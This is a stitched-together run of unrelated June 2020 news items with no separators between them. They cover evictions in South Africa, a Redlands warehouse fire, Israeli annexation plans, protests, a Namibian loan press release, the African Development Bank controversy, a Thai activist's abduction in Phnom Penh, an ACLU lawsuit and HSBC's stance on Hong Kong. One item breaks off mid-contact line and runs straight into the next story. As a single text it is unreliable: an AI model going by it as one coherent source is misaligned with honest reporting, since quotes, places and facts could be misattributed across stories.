While we have worked with a group of 27 other civil society organisations to successfully call for a moratorium on evictions during level five, we have struggled to ensure this absolute moratorium stays in place as long as the lockdown does. It is perhaps more clear than ever that issues around evictions and the destruction of homes as well as the enduring problems of home- and landlessness and insecure tenure need to be addressed.

Our team working on concerns related to home, land and rural democracy has therefore connected with the Nelson Foundation to undertake a project which draws out the expertise of civil society and engages proactively and meaningfully with the state. This is in line with our strategic approach to work in critical partnership with government in order to bring about change and social justice. Our submission on the evictions regulation under lockdown has resulted in a positive response from the Speaker of the National Assembly which encourages further engagements with the Portfolio Committee on Co-operative Governance and Traditional Affairs.

On 21 May 2020, we convened our first interactive online forum with over thirty representatives from social movements, public interest organisations, law firms and academia working in this area. Participants were split into five groups for focused discussions on the topics of evictions, the demolition of housing structures, rehoming and temporary emergency accommodation, farm dwellers access to land and rural communities access to land.

The team from CALS consists of Ariella Scher, Vuyolethu Mntonintshi, Basetsana Koitsioe and Thuli Zulu. The engagement went really well, says the team. The discussions were energising and we got the sense that there is so much work to be done in this space, both within the context of lockdown and more generally moving forward.

The minutes from the forum have assisted the team to develop a discussion document covering each of the five identified areas of concern to use in further engagements with the state. We believe that our country needs a forward-looking approach which takes into account the dangers posed by COVID-19 as well as the socio-economic realities of our society. This will become ever more important as we move from a legal framework where people are compelled to stay at home to one where this is merely encouraged, says the team.

We look forward to a sustained and productive engagements on how these issues should be addressed in regulations going forward.

Read the full concept note for this project here

Read the draft discussion document here.

For any queries, please contact:
REDLANDS CA JUNE 5, 2020 - Firefighters battle a 3-alarm fire at a large warehouse near the 10 Freeway in Redlands Friday, June 5, 2020. Irfan Khan / Los Angeles Times) (Irfan Khan/Los Angeles Times)

A three-alarm fire tore through a warehouse in Redlands early Friday, triggering a large response from firefighters and briefly closing a stretch of the 10 Freeway.

The blaze was reported at the warehouse in the 2200 block of West Lugonia Avenue about 5:30 a.m. About 100 employees were inside but evacuated before firefighters arrived, said Carl Baker, a spokesman for the city and its fire department. Fire officials have not reported any injuries.

Video from the scene showed massive flames engulfing the building and plumes of black smoke billowing into the air. One wall of the warehouse collapsed inward, Baker said.

Firefighters poured streams of water on flames that appeared to engulf almost all of the sprawling structure and began to burn truck trailers, some with Amazon logos, parked at loading docks.

Initial reports indicated the distribution center was an Amazon facility, but Baker said it was occupied by a company that contracts with the online retail giant.

Kuehne and Nagel, the company that operates the site, helps Amazon ship extra-large items to customers, according to Amazon.

By about 9:15 a.m., there were still active flames at the building, and firefighters remained in a defensive position, battling the blaze from outside, Baker said.

"But its certainly a lot more controlled than it was earlier this morning," he said.

Officials remained concerned about the building's structural integrity, and firefighters were keeping a safe distance in case any more walls collapsed.

"I would estimate its going to be a total loss," Baker said of the building.

It was not immediately clear what caused the fire.

We are glad everyone is safe, and thankful for the efforts of the local firefighters and first responders," Lisa Levandowski, a spokeswoman for Amazon, said in a statement. "This site was operated by a third party and we will support them throughout this process.

No nearby Amazon sites were affected by the fire, and the company expects the blaze to have minimal impact on customers. Orders will be fulfilled from other locations, the company said.

The blaze prompted officials to close the 10 Freeway in both directions for more than an hour. The freeway reopened shortly after 7 a.m.
While Israel might need a few more days or weeks beyond 1 July to finalise its plans to annex the West Bank, the policy remains unchanged

A key figure in Israels Likud Party, a member of the governments security cabinet and minister of two cabinet portfolios, announced this week that Israels annexation of the West Bank might take a few more days or weeks beyond 1 July, till the mapping process is finalised.

I know theyre working on the map, and that process could take some more time, he said. 1 July is the first day when the matter can be brought to the cabinet and the Knesset. It could possibly take a few more days or weeks, but generally I think the prime minister is very clear that he intends to advance this, Zeev Elkin, minister of higher education and water resources, was quoted as saying to Israels Army Radio.

Elkin added that the overall situation shows that the mapping process will be completed sometime in July. Under the recent coalition government deal between Premier Benjamin Netanyahu and his political rival Benny Gantz, Israel declared that the annexation plan will be brought to the cabinet and the Knesset by 1 July.

Netanyahu has continuously stressed his determination to move forward with this controversial plan. He recently noted that extending Israels sovereignty to its settlements and the Jordan Valley would take place after a joint committee between the Israelis and the Americans completes a map of the actual territory that will be annexed and the status of each part of it. This is the only reason for any delay. The overall policy remains unchanged.

Israeli insistence on annexing the West Bank comes in light of US President Donald Trumps peace plan that was drafted by his administration. The plan recognises Jerusalem as Israels eternal and undivided capital. It also gives Israel absolute security control over the occupied Palestinian territories and a Palestinian capital in only East Jerusalems northern and eastern areas. For the Palestinians, they want a two-state solution on the basis of the pre-1967 borders, with East Jerusalem as the capital of their future state.

Practically, Trump moved the US Embassy in Jerusalem, and stopped funding for the UN Relief and Works Agency for Palestinian Refugees (UNRWA). The Palestinian Authority, so far, enjoys the support of the Arab League and the European Union. The latter has engaged in a war of words with Israel over its annexation plans, warning against the political and security implications. But the Israelis are not happy with the pro-Palestinian, European position.

Even China stepped in to offer a similar vision. Chinese Foreign Minister Wang Yi sent a letter to his Palestinian counterpart, Riad Malki, to stress deep concern about the unilateral plan to annex parts of the Palestinian territories. For China, Israels plan contravenes international law and relevant UN Security Council resolutions. Beijing called on Israel to avoid unilaterally annexing the West Bank to avoid an escalation in the conflict, calling on the United States to take a responsible position towards the history and long-term interests of the Palestinian and Israeli peoples.

This week, the United Arab Emirates (UAE) publicly said that the annexation of the West Bank would negatively affect the peace process. Continued Israeli talk of annexing Palestinian lands must stop, Minister of State for Foreign Affairs Anwar Gargash tweeted. Any unilateral Israeli move will be a serious setback for the peace process, undermine Palestinian self-determination [and] constitute a rejection of the international [and] Arab consensus towards stability [and] peace, he added.

*A version of this article appears in print in the 4 June, 2020 edition of Al-Ahram Weekly

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Queensland police have not ruled out issuing fines for those flagrantly breaking public health orders at solidarity protest for the Black Lives Matter movement, but say it is not practical to do so for the thousands who have indicated they will potentially attend.

Protests sparked by the death of George Floyd at the hands of Minneapolis police last week have spread across the US in the days since.

Solidarity rallies are occurring across the world, with those in Australia seeking to also shine light on police brutality and the 432 Indigenous deaths in custody since 1991.

Authorities across the country have largely attempted to steer people away from the protests for health reasons, without appearing to dismiss them.
WINDHOEK, Namibia, June 5, 2020 /PRNewswire/ -- The Institute for Open Learning (IOL) is set to revolutionise access to student loans for distance learning with the approval of a USD 20 million term loan facility by the Deutsche Investitions und Entwikkelingsgesellschaft (DEG) to Trustco Finance.

In a massive demonstration of trust in the Trustco distance learning model that improved the qualifications of tens of thousands of Namibians after independence, KfW/DEG advanced more than NAD 345 million in debt.

Trustco now stands ready to invite, enable and assist a new wave of learners to embrace its tried and tested distance-learning model, especially after COVID-19 demonstrated that distance-learning is set to become the new norm in education.

Traditional education and contact classes were dealt a devastating blow in Namibia with the COVID-19 pandemic and forced existing learning models into the online world.

The Group MD of Trustco Group Holdings, Quinton van Rooyen, added, "Trustco has been hard at work during the pandemic, seeking ways to fund the large demand we've experienced from Namibian students. With the COVID-19 pandemic in full swing across the globe, it has become imperative that the Namibian student population not be left behind as traditional educational institutions struggle to provide them with the education they require to become productive members of the Namibian workforce."

Trustco's Head of Education, Ilana Calitz, stated, "The Institute for Open Learning welcomes fresh funding for Namibian education, especially as the distance education model has proven to be in high demand during the current pandemic. This will enable our students to enhance their competitiveness in the current job market and secure their employment going forward. I am confident that a new hybrid model of education will emerge, and distance education will become an integral part of the educational industry."

The loan facility will not only enhance the educational facilities offered by the Institute for Open Learning but will also offer students connectivity and devices to allow them to complete their studies wherever in the country they may be situated.

Adri Lambert, Head of Trustco Finance, also noted that, "While we anticipate a fresh influx of students that need financing, the newly added capital will also enable existing students to be able to refinance and restructure their existing loans, and allow them the freedom to continue their studies with less anxiety over repayments as we provide relief during these difficult economic times."

The massive media platforms of Trustco, Informante Radio, Informante Facebook as well as the various other platforms of Trustco with more than a million followers, will provide up-to-date information to allow and inform prospective students on the most convenient ways to access the educational loans. IOL can also be contacted through the various Trustco offices in Windhoek and towns throughout the country to join the Distance Learning adventure.

Namibia now has an opportunity to move more rapidly towards a knowledge-based society that will create wealth and narrow the income gap through increased qualifications and employment as well as entrepreneurship.

THE Group Deputy CEO of Trustco, Quinton Z. Van Rooyen, unpacks the German loan facility to Trustco and the benefits to Namibian education.

VIDEO: GERMAN DFI REWARDS TRUST IN TRUSTCO WITH NAD 345 MILLION

https://www.facebook.com/informantenam/videos/748419159227516/

TRUSTCO GROUP HOLDINGS LIMITED

Incorporated in the Republic of Namibia

(Registration number 2003/058)

Registered as an external company in South Africa

(External registration number 2009/002634/10)

NSX share code: TUC

JSE share code: TTO

OTCQX share code: TSCHY

ISIN Number: NA000A0RF067

SOURCE TRUSTCO GROUP HOLDINGS LTD
Thiruvananthapuram, June 5 : The Kerala unit of the Indian Medical Association (IMA) on Friday strongly objected to opening of places of worship and malls in the state.

The IMA has objected to the statement of Kerala Chief Minister Pinarayi Vijayan that they will be opened following the guidelines of the Centre. The opening of these places is expected from June 8.

"The examples of various countries are before us, where lockdown norms were eased. We should learn from what happened there and ensure that all have to follow guidelines, especially when we see many people not wearing masks properly and refraining from maintaining social distancing," said State IMA president Abraham Varghese.

"Now the state is seeing an influx of our people from abroad and from within the country in large numbers. On the one side, the number of positive cases is growing, likewise now there are several cases where the source of the coronavirus among positive cases is identified. This is a sign of community spread. Hence at this juncture opening of places of worship and malls is a serious threat," added Varghese.

Since May 7 when international flights carrying the Kerala diaspora began, there has been a spike in fresh cases with the tally touching 1588.

-- The story has been published from a wire feed without any modifications to the text
05.06.2020 LISTEN

A woman who tested positive for COVID-19 has successfully delivered a baby through caesarean section whilst receiving treatment at the El-Wak Isolation and Treatment Centre in Accra.

This was the second of such births in Ghana after an infected mother delivered her baby in the Western Region at the Tarkwa Apinto Government Hospital.

Major Matthias Yeli Ahig, the Deputy Camp Commandant, in a Citi News interview explained that: as part of her routine antenatal care, she was showing some symptoms that mimicked COVID-19 symptoms.

So a test was done and it came out that she was positive for coronavirus, he added.

The diagnosis coincided with the time she was due to deliver the baby.

Major Anthony Moro, a nursing officer in charge at the facility noted that the mother and baby are doing well.

As and when all that is supposed to be done is done, definitely she'll be discharged, he added.

The El-Wak Isolation centre is one of the designated centres for treating persons with COVID-19.

Among its challenges, managers have had to improvise because it has exceeded its capacity.

It was originally designed to hold 26 people but now has 33 people being treated for the virus.

We need to come up with innovative ways to still admit the patients that are coming here. So in view of that, we have converted some of the facilities that were initially not meant to be wards, Major Matthias Yeli Ahig said.

The areas that were converted included the triaging area and laboratory centre.

---citinewsroom
In just months, African super-banker Akinwumi Adesina has gone from glory to fighting for his career, battling US demands for a probe into accusations of ethical violations and favouritism.

In 2015, the son of a farming family wrote another chapter in a remarkable tale, becoming the first Nigerian to helm the African Development Bank (AfDB), one of the world's five largest multilateral development lenders.

His flamboyant style gained him continent-wide renown, when the AfDB last October secured $115 billion (105 billion euros) in funding pledges -- doubling its capital at a stroke and cementing its glittering triple-A credit rating.

But with elections for the AfDB presidency looming in August, Adesina's bid for a second term in office is at threat.

At issue is a 15-page whistleblowers' report which says that under Adesina's watch, the AfDB has been tarred by poor governance, impunity, personal enrichment and favouritism.

The bank's ethics committee has already exonerated Adesina, saying the allegations rest "on no objective, solid facts."

US pressure

But any hopes Adesina may have had that this would provide a clear path to election victory have been dashed.

On May 22, US Treasury Secretary Steve Mnuchin personally signed a letter questioning the outcome of the probe and called on the AfDB's board to appoint an independent investigator to uphold accountability.

Adesina, 60, fought an intense and vocal rearguard action backed by Nigeria, the biggest of the AfDB's 80 shareholders.

He lashed at "allegations that unjustly seek to impugn my honour and integrity" and invoked "my heroes, Nelson Mandela and Kofi Annan, whose lives have shown that through pain we grow."

But on Thursday, his campaign received a hefty blow when the board agreed to an independent review, with a four-week deadline.

"There has always been behind-the-scenes manoeuvering when there are elections for president of the AfDB, but to have a public controversy on this scale is unheard-of," said a diplomatic observer.

An Ivorian economist suggested that Adesina's "outsized personality" may also have played a part.

"He's exuberant, probably too high-profile for the closeted world of the bank -- he even projects an impression of arrogance and of doing what he likes."

Adesina's managerial style came under scrutiny when the bank was shaken by a string of departures after he took over in 2015.

"He made himself a lot of enemies in trying to reform the bank," the Ivorian economist said, adding that Adesina had a reputation for giving preference to "English-speakers" at the bank at the expense of francophones.

Managers at the bank, speaking on condition of anonymity, say Adesina was better at communicating than at managing and exaggerated his own performance.

The AfDB plays an important if largely behind-the-scenes role in African economies, financing projects in agriculture, health, energy, education, transport and other development sectors.

Adesina, a charismatic speaker at home in English or French, and a snappy dresser who favours elegant suits and a bow tie, gave the bank an international visibility that it has rarely gained throughout its 56 years.

Humble origins

Born to a farming family in Oyo state in southeastern Nigeria, Adesina attended a village school before study agricultural economies at university.

After gaining a doctorate at Purdue University in Indiana, he became prominent in the development sector, notably working with the Rockefeller Foundation, before being named agriculture minister in 2010.

He carried out an ambitious range of farming reforms -- an achievement that earned him the honour of Forbes' "African Man of the Year" of 2013.

In 2015, after a fierce lobbying campaign, he was elected president of the AfDB, succeeding Donald Kaberuka, a Rwandan.

Until the storm erupted, his bid for a second term seemed on track for victory, as it had gained the backing of the African Union and the powerful Economic Community of West African States (ECOWAS).

But intervention by the United States -- the bank's second biggest shareholder, which also gained support from eurozone and Nordic countries -- means the outcome is far from clear, say observers.

Fifty-four of the AfDB's shareholders are African, while others are from the Americas, Asia and Europe.
Eyewitnesses to the abduction of Phnom Penh-based Thai activist, Wanchalearm Satsaksit, confirmed details of the incident to VOA Khmer, but Cambodian officials continued to maintain that they were unaware of the incident.

In a statement released Friday, Human Rights Watch said Thai pro-democracy activist Wanchalearm Satsaksit was abducted by armed men in Phnom Penh on June 4, 2020. Wanchalearm Satsaksit, who fled the Thai junta after the 2014 coup, is a prominent activist affiliated with the United Front for Democracy Against Dictatorship (UDD), also known as the Red Shirts, according to the statement.

VOA Khmer visited an apartment building in Phnom Penhs Chroy Changvar district and spoke to eyewitnesses to the abduction. At least three eyewitnesses were able to identify photographs of Wanchalearm Satsaksit and said he was the person who was abducted on Thursday. All witnesses did not want to be identified in the story for fear of reprisals.



The witnesses said they saw the Thai activist sitting at a store near the apartment building, after ordering a plate of meatballs. Shortly after, a black car that one of the witnesses identified as a Toyota Highlander pulled up near Wanchalearm Satsaksit. Three men dressed in black exited the vehicle with concealed weapons.

One of the unidentified men then punched Wanchalearm in the neck, said two of the witnesses, after which the Thai activist was strangled as he was dragged to the car, all the while screaming for help.



Chuoy pong. Chuoy pong. Chuoy pong. Chuoy pong, Wanchalearm was heard shouting, which translates to please help.

The car then drove away with the Thai activist, the witnesses said. Security guards at the apartment building did not cooperate when asked questions about the incident.



These witness accounts were similar to those put forth by Human Rights Watch in its statement. According to the rights group, the Thai national was buying food outside his apartment, at an unidentified location, and was put into a black car by armed men and taken away.



Wanchalearms colleague, who was talking on the telephone with him when the abduction occurred, heard him scream, Argh, I cant breathe, before the call was cut off, read the statement.



Cambodian police officials on Friday claimed to not know about the abduction. National Police Chief Neth Savoeun did not immediately deny the abduction, asking a VOA reporter to call a spokesperson for further information.



Ask the spokesperson. I am in a meeting. I dont have time to respond, he said, adding that he will instruct National Police spokesperson Chhay Kimkhoeun to respond to queries after the spokesperson initially claimed to be unaware of the abduction.



However, Chhay Kimkhoeun did not provide any information and was instead unhappy that reporters had requested information from his superior.



Why do you need to call the big boss? I dont want to cooperate [with you], he said. The police do not know [about the abduction]. You can report whatever information you have.



Khieu Sopheak, spokesperson of the Ministry of Interior, and Kirth Chantharith, the director-general at the Immigration Department, and Foreign Ministry spokesperson Koy Kuong said they did not have information about Thai activist's abduction and reverted the questions to the National Police.



VOA Khmer could not reach Interior Minister Sar Kheng for comment. The Thai Embassy in Phnom Penh did not respond to email and telephonic requests for comment on Friday.

The activist is politically active on social media and has continued to post criticism of Thai Prime Minister Prayut Chan-o-chas government, posting a video criticizing him on Wednesday.



The abduction of a prominent Thai political activist on the streets of Phnom Penh demands an immediate response from Cambodian authorities, said Brad Adams, Asia director. The Cambodian government should urgently act to locate Wanchalearm and ensure his safety.

Thailand and Cambodia have in the past coordinated to deport critics of the respective regimes, even agreeing in 2018 to work closely to deport foreign fugitives.



In February 2018, Thailand deported Sam Sokha, a Kampong Speu resident, for throwing a shoe at a Cambodian Peoples Party billboard featuring an image of Prime Minister Hun Sen. She was tried after returning to Cambodia.

In March 2018, The Phnom Penh Post reported that former Cambodia National Rescue Party officials were hiding in Bangkok, after a severe crackdown by the Cambodian government in 2017, reported being surveilled by vehicles with Royal Cambodian Armed Forces plates.

Media fixer Rath Rott Mony fled to Thailand in 2018 after assisting on an RT documentary about alleged child sex trafficking in Phnom Penh, which was severely criticized by the government. He was sent back by Thai officials in December 2018, at the request of the Cambodian authorities, and sent to prison.
The American Civil Liberties Union (ACLU) has launched a lawsuit against the Trump administration over the gassing of peaceful protesters at the White House this week.

Filed on behalf of Black Lives Matter DC and several individual protesters, the case is one of many the ACLU is mounting across the country in response to police violence against lawful, peaceful protesters and journalists  including many violent and unprovoked attacks caught on camera.

The incident on Monday afternoon saw riot police clear protesters out of Lafayette Square with tear gas and other weapons so that Donald Trump could walk across it for a brief photo op at St Johns Church, where he briefly held up a bible for the cameras before returning to the White House.

The ACLUs complaint accuses Mr Trump, attorney general Bill Barr and other officials of violating protesters constitutional rights, specifically under the constitutions first and fourth amendments, and of conspiracy to deny them those rights.

Black Lives Matter DC's April Goggans, the core organiser in the case, said in a statement issued via the ACLU that the events of Monday evening were an affront to all our rights.

Black Lives Matter: London protests Show all 25 1 /25 Black Lives Matter: London protests Black Lives Matter: London protests Actor John Boyega speaks in Hyde Park at a Black Lives Matter protest. Demonstrations broke out across the US and world after the death of George Floyd in Minneapolis at the hands of a white police officer Rex Black Lives Matter: London protests Getty Black Lives Matter: London protests Getty Black Lives Matter: London protests Reuters Black Lives Matter: London protests AP Black Lives Matter: London protests AP Black Lives Matter: London protests AP Black Lives Matter: London protests Rex Black Lives Matter: London protests AFP via Getty Black Lives Matter: London protests EPA Black Lives Matter: London protests EPA Black Lives Matter: London protests AP Black Lives Matter: London protests EPA Black Lives Matter: London protests AFP via Getty Black Lives Matter: London protests AP Black Lives Matter: London protests EPA Black Lives Matter: London protests EPA Black Lives Matter: London protests EPA Black Lives Matter: London protests EPA Black Lives Matter: London protests AP Black Lives Matter: London protests EPA Black Lives Matter: London protests AP Black Lives Matter: London protests AFP via Getty Images Black Lives Matter: London protests Getty Images Black Lives Matter: London protests PA

The death of George Floyd and Breonna Taylor at the hands of police officers has reignited the rage, pain, and deep sadness our community has suffered for generations. We wont be silenced by tear gas and rubber bullets. Now is our time to be heard.

For its part, the Trump administration has denied using tear gas on the protesters, instead saying that police used pepper balls  projectiles filled with chemical irritants that have a very similar effect. The Centres for Disease Control includes these weapons under its broad definition of tear gas.

The White House has this week been heavily fortified with layers of additional fencing to keep protesters away. Hundreds of troops from the National Guard have been summoned to patrol the streets of Washington; also seen at the White House this week were men clad in riot gear but without any identifying uniforms or insignia.

When asked who they were, they gave various vague answers or declined to identify themselves. It has since transpired that at least some of them are from the Federal Bureau of Prisons.

According to the ACLUs Scott Michelman, Mr Trumps treatment of the protesters was shameless, unconstitutional, unprovoked, and frankly criminal, and shakes the foundation of our nations constitutional order. As for Mr Barr, he said, when the nations top law enforcement officer becomes complicit in the tactics of an autocrat, it chills protected speech for all of us.
New Delhi, June 5 : Facing severe backlash over his casteist slur for Yuzvendra Chahal, former India all-rounder Yuvraj Singh has issued an apology, saying he never believes in any kind of disparity, be it on the basis of caste, colour, creed or gender.

Yuvraj faced the wrath of many people on social media after he made a casteist remark towards Chahal while having a conversation with Rohit Sharma on Instagram.

"Ye b****i logon ko koi kaam nahi hai Yuzi ko... Yuzi ko dekha kaisa video daala (these people like Yuzi don't have anything to do...did you see what kind of video Yuzi shared)," Yuvraj was heard as saying in a video which went viral on social media.

However, on Friday, Yuvraj said that he expresses regret if he "unintentionally" hurt anybody's sentiments or feelings.

"This is to clarify that I have never believed in any kind of disparity, be it on the basis of caste, colour, creed or gender. I have given and continue to spend my life for the welfare of people," the former Indian all-rounder said in a post on his official Twitter handle.

"I believe in the dignity of life and respect each individual without exception.

"I understand that while I was having a conversation with my friends, I was misunderstood, which was unwarranted. However, as a responsible Indian I want to say that if I have unintentionally hurt anybody's sentiments or feelings, I would like to express regret for the same," the 39-year-old further wrote.

"My love for India and all its people is eternal," he finished.

A police complaint was also reportedly filed against Yuvraj by Dalit rights activist and advocate Rajat Kalsan in Hansi in Hisar.

The hashtag "Yuvraj_Maafi_Maango (Yuvraj Singh apologise)" also started trending on Twitter a couple of days back after the video made the rounds on social media.
Prophecies of American decline are almost as old as America itself. Until now, the United States has had a stubborn and inconvenient habit of defying such predictions. But in the wake of the American response to the coronavirus pandemic, proclamations of national doom have accelerated and intensified.

The most recent such missive comes from British war reporter and international-relations student Aris Roussinos, who declared earlier this week that the pandemic has exposed America as a failed state. And while Roussinos does offer some worthwhile observations about the challenges America faces, his analysis betrays a regime-centered view of America that mischaracterizes its attributes, understates its strengths, and overestimates its challenges and its challengers.

Its worth starting with what Roussinos gets right: America faces a significant challenge from the rise of China. He is also right, to some extent, that Chinas rise is as much a direct product [of] as it is a challenge to the global order that America helped to create. It seems hard to deny now that many people failed to anticipate what would happen when a nation that openly rejected the principles on which this order depended became thoroughly enmeshed in it.

Roussinos begins to go off track, however, in identifying why this happened. He variously describes the people responsible for the decision as a blob incapable of effective action and a ruthlessly efficient cabal acting in the service of billionaire paymasters, the only beneficiaries of a globalization that he claims was never real. There have been costs to globalization, to be sure. But it is definitely real, and if it were a completely deleterious enterprise, even the thickest blob would have had trouble justifying it in the first place, much less keeping it going for decades. The tricky thing about globalization, particularly as it pertains to China, is that it has a complex matrix of costs and benefits; if one is intellectually honest, it doesnt lend itself well to Manichaean analysis. As Nicholas Eberstadt and Daniel Blumenthal write in the current issue of National Review:

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If the current arrangements were overwhelmingly disadvantageous for the U.S., it would be a straightforward matter (albeit painful and unpleasant) just to end them. But this is not the case. Instead we find ourselves in a tableau mainly painted in shades of gray. Careful discrimination and informed judgment will be required to determine whether each of the myriad cords that bind us to China today is actually in the American interest.

That process of careful discrimination and informed judgement, in turn, requires a proper accounting of Americas own strengths and weaknesses. This is something Roussinos does not provide. He is instead content to attribute Americas ills to its civic religion of liberalism, which has been with it from the beginning and is today manifesting itself in a disastrous foreign policy and the spectacle of American states forming regional blocs to counteract the incompetence and total incapacity of its central government to save lives. Roussinos believes that America is characterized by its epidemics of death by drug overdose . . . its collapsing middle class, its worsening health outcomes and declining life expectancies, the capture of the state and economy by rapacious oligarchs, and . . . the occasional bouts of interethnic violence leading to demonstrations, riots and broader political dysfunction.

This analysis bears the mark of someone who has read what he is supposed to have read about America, but does not have much actual knowledge of the country. Our coronavirus response has been imperfect, and its deficiencies are not fully excused by the similar deficiencies seen in most other Western countries responses, nor by the fact that we are the Wests largest and most disparate nation. Yet it is a curious endemic flaw that takes more than two centuries of incredible prosperity and accomplishment to manifest fully, and does so by producing a decentralized response largely in keeping with the nations original design.

Indeed, the system that Roussinos derides as fatally flawed has given the United States an economy [that] dwarfs that of any other nation, save China, with an empire [that] is still intact, and [a] military [that] spans the globe more powerfully than any single challenger, as he himself admits. Whatever Americas flaws, its military power and economic might speak for themselves. Even manufacturing, the sector cited most frequently as damaged by globalization and Chinese competition, remains a considerable part of the American economy. And while the nation has serious economic and social problems, such as the opioid epidemic and the current racial tensions, it is nowhere near the postindustrial hellscape that Roussinos and those he cites seem to think it is. It still has ample resources to meet the very real challenges it faces. Roussinos is blinded by his (understandable and even somewhat merited) contempt for Americas governing class. Americas leaders can facilitate the nations greatness, but it has never entirely depended on them.

For that matter, for as much widespread scorn as they rightfully attract, Roussinos is sometimes too hard on Americas elite  that is, when he is not citing former diplomats and professors who happen to agree with him:

Only a couple of months ago, warning about dependence on China and the fragility of our supply chains, and urging decoupling from the aspiring hegemon, was viewed as the preserve of cranks of Right and Left, considered romantic at best and xenophobic at worst. When Trump urged the same thing for the United States, Chinas autocrat Xi was treated to a standing ovation at Davos, and hailed as the new champion of the global liberal order. But now Larry Summers, the high priest of globalisation and of Americas offshoring to China, is warning us against fragile supply chains and the urgency of decoupling with no reference at all his long and glittering career midwifing this catastrophe.

Later in the same piece, however, he muses that it is hard to imagine an American governing class scandalised at calling Covid a Chinese virus waging an existential conflict against China to a successful conclusion. If the people he considers the facilitators of Chinas rise to prominence are capable of such an about-face, maybe others are as well? Indeed, from the very heart of the blob, courtesy of the American Enterprise Institute (where, full disclosure, I used to work), National Review itself has published Eberstadt and Blumenthal, who provide a more clear-headed analysis of the challenges China presents to the world order than Roussinoss.

Some of Roussinoss misunderstandings proceed from a specific kind of analysis that, by its very nature, views America and its leaders in a harsher light than China and its leaders. Its a kind of grudging admiration of totalitarian states, a longing for a system in which leaders neednt let democratic niceties stop them from getting things done. You see this in his contempt for an electoral system that has produced a choice between two gerontocrats of dubious mental acuity against each other, a contest with echoes of the late Soviet era, before the regime collapsed under its own absurdities. You see it when he writes that:

In a manner we can safely assume is not replicated in China, the architects of Americas endless policy failures, like the Iraq War, are not punished by the system, but awarded further sinecures and promotions by an establishment which rewards failure and hobbles success. Defeat is baked in from the outset: the rot is now so widespread it will likely become terminal.

Yet Roussinos also asserts that an America may throw up a more competent caudillo than Trump in time. He seems to believe that America is simultaneously paralyzed by diffuse chaos and ripe for tyranny, hamstrung by its political system and yet already descended into a kind of despotism. The implication is that China does autocracy right, because its system has the functionality to clear out those who hamper its success.

In fact, what Roussinos perceives as Chinas strength could end up being a fatal defect, and what he perceives as Americas weakness is actually its strength.

The United States is a divided nation, though it has been even more divided before. It has made many mistakes recently, though it has made worse ones before. But the nation is stronger than its government; indeed, much of its prosperity results from the kind of entrepreneurial innovation that government is just as apt to stifle as to foster. America can react to errors, form a consensus about how to correct them, and, through that same government, put the resulting solutions into action. Indeed, there are signs that this may already be happening where China is concerned: Witness the otherwise unthinkable alliance between Senator Ted Cruz and Representative Alexandria Ocasio-Cortez against Beijing, reflective of broad bipartisan skepticism of Xis regime, which 72 percent of Republicans and 62 percent of Democrats oppose, according to a recent Pew poll.

Chinas strength, meanwhile, is its main weakness: It is a totalitarian system. Its consensus is determined unilaterally without the consent of the governed, insulated from blowback and prone by design to groupthink. Its top-down decision-making process channels dissent into potentially even more destructive forms of discontent. Its regimes success depends considerably on the stifling coercion of its own people, and mimicry of and theft from other nations. This can render it vulnerable both to unpredictability and to systemic errors, such as its one-child policy, its brutal suppression of restive ethnic and religious minorities, a foreign policy that has left it virtually without allies except those forced ruefully into financial reliance upon it, and a dependence upon ever-increasing material prosperity to keep its populace docile.

The United States faces many challenges, China perhaps chief among them. But it has faced down other dangers before, under even more dire circumstances. Roussinos argues that America is now simply a cautionary tale, a burning city on a hill, and that the notion that it could be a viable model of governance to follow is now patently absurd. To write this is to be ignorant of all that our nation has achieved in its short history. It would be one thing to harp on Americas defects and to write it off as a lost cause. But Roussinos seems to place his hope in . . . Europe, with its older traditions on which to draw. Setting aside the historical problems of such a view, the idea that a Western order anchored on a continent with massive geopolitical challenges of its own  a continent that has been, if anything, even weaker than the U.S. in checking Chinas ambitions  would do better than a Western order led by America is dubious at best.

Washington, and the West, do need to think seriously about the rise of China. But Roussinos should hope that the United States proves its doubters wrong once more.

More from National Review
HSBC and other British firms are facing a growing backlash for supporting Chinese national security laws in Hong Kong that critics have warned will erode the city's freedoms.

Banking groups HSBC and Standard Chartered and trading houses Swire and Jardine Matheson have publicly declared their backing for the draconian legislation.

But numerous MPs have now lashed out at the firms for seemingly siding with Beijing.

In a barbed comment directed at HSBC, leader of the House of Commons Jacob Rees-Mogg suggested the bank may be 'more closely aligned to the Chinese government than Her Majesty's Government'.

Meanwhile, Tom Tugendhat, the Tory chairman of the Foreign Affairs Select Committee, asked why companies were 'choosing to back an authoritarian state's repression of liberties'.

Question of allegiance: Banking group HSBC has publicly declared its backing for the draconian legislation in Hong Kong

Founded in Hong Kong in 1865, HSBC has had a fractious relationship with the UK since moving its headquarters to London with the takeover of Midland Bank in 1993.

Several times since then, it has been perceived to have dangled the threat of its relocation back to Hong Kong  which would mean the UK missing out on the 2billion of taxes it pays each year  in front of the Government in order to win concessions.

Although HSBC has said all conversations about moving its headquarters out of London are off the table, its stance on Hong Kong could further sour relations with the UK.

Boris Johnson this week condemned the Chinese legislation as 'dramatically eroding the autonomy' of Hong Kong.

And in the House of Commons yesterday, Mr Rees-Mogg said: 'The behaviour of [HSBC] is of course a matter for that corporation, but it may be that it is more closely aligned to the Chinese government than Her Majesty's Government.'

MPs and campaigners have lined up to criticise British companies for siding with Beijing.

Mr Tugendhat said: 'I wonder why HSBC and [Standard Chartered] are choosing to back an authoritarian state's repression of liberties and undermining of the rule of law?'

Labour's shadow foreign secretary Lisa Nandy claimed HSBC had 'folded to obvious pressure from the Chinese administration and issued a direct challenge to the position taken by the UK government'.

Labour peer and former minister Lord Adonis said: 'Utterly disgraceful action by HSBC, apparently supporting Xi Jinping's suppression of Hong Kong.

'I intend to take this up with the chairman and chief executive of HSBC in London. And with HSBC's major shareholders.'

Tory MP Neil O'Brien said: 'If you bank with HSBC you are with a bank that is backing Beijing's repressive new security laws, designed to snuff out freedom in Hong Kong,' adding that: 'Other banks are available.'

Matthew Henderson, Asia Studies director at foreign policy think tank, the Henry Jackson Society, said: 'It is disappointing that an international institution that  throughout its existence  has benefited from Hong Kong's freedoms and opportunities, now feels obliged to collaborate with forces that are bent on the destruction of those same freedoms.

Firms' support for the Beijing-backed legislation puts them at odds with the UK Government, which has offered almost 3m Hong Kong citizens visas to the UK so they can escape the national security laws, seen by many as the most serious threat to the 'one country, two systems' agreement that has insulated Hong Kong from Beijing interference since Britain returned the territory to Chinese sovereignty in 1997.

But both HSBC and Standard Chartered said they were supporting the law, which will drastically broaden China's power over the territory, in order to help retain economic stability in Hong Kong and ensure its recovery from the Covid-19 pandemic.

Experts said the banks did not want to lose access to Asia, where they make a large portion of revenue, by angering the region's superpower of Beijing.

